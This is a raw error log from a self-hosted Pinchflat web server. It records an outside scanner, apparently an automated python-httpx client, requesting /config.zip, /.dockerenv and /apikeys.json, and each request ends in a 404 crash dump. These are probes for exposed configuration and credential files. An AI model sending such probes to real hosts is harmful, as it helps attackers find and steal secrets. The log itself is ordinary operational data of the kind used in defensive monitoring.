resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Kr9kR4DARoAAKJx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 14:07:57.240 [info] GET /config.zip 14:07:57.242 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1113.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:57.243 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1114.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:57.244 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:57.245 [error] #PID<0.12406.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 110) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /config.zip ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 110, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12406.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.zip", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0NGgUOD64WUAAKKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 110, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.zip", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 110, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12406.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/config.zip", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0NGgUOD64WUAAKKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 14:07:57.335 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:57.934 [info] GET /.dockerenv 14:07:57.935 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1338.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:57.936 [debug] QUERY OK source="settings" db=0.4ms idle=856.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:57.936 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:57.938 [error] #PID<0.12407.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 111) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.dockerenv ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 111, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12407.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dockerenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Pr1T4G3qIEAAKKR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 111, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dockerenv", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 111, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12407.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dockerenv", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Pr1T4G3qIEAAKKR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack (truncated) 14:07:58.548 [info] GET /security.txt 14:07:58.569 [debug] QUERY OK source="settings" db=19.8ms queue=0.2ms idle=1305.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:58.571 [debug] QUERY OK source="settings" db=1.1ms queue=0.3ms idle=1234.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:58.571 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:58.573 [error] #PID<0.12408.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 112) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 112, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12408.0>, params: %{}, path_info: ["security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0R-Qdu3vxvAAAKKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 112, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 112, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12408.0>, params: %{}, path_info: ["security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0R-Qdu3vxvAAAKKh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 14:07:59.301 [info] GET /apikeys.json 14:07:59.303 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=732.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:59.304 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=732.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:59.304 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:59.306 [error] #PID<0.12409.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 113) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /apikeys.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apikeys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apikeys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 113, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12409.0>, params: %{}, path_info: ["apikeys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/apikeys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj0Uxw9dwG0roAAKKx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apikeys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 113, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apikeys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apikeys.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 113, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12409.0>, params: %{}, path_info: ["apikeys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], 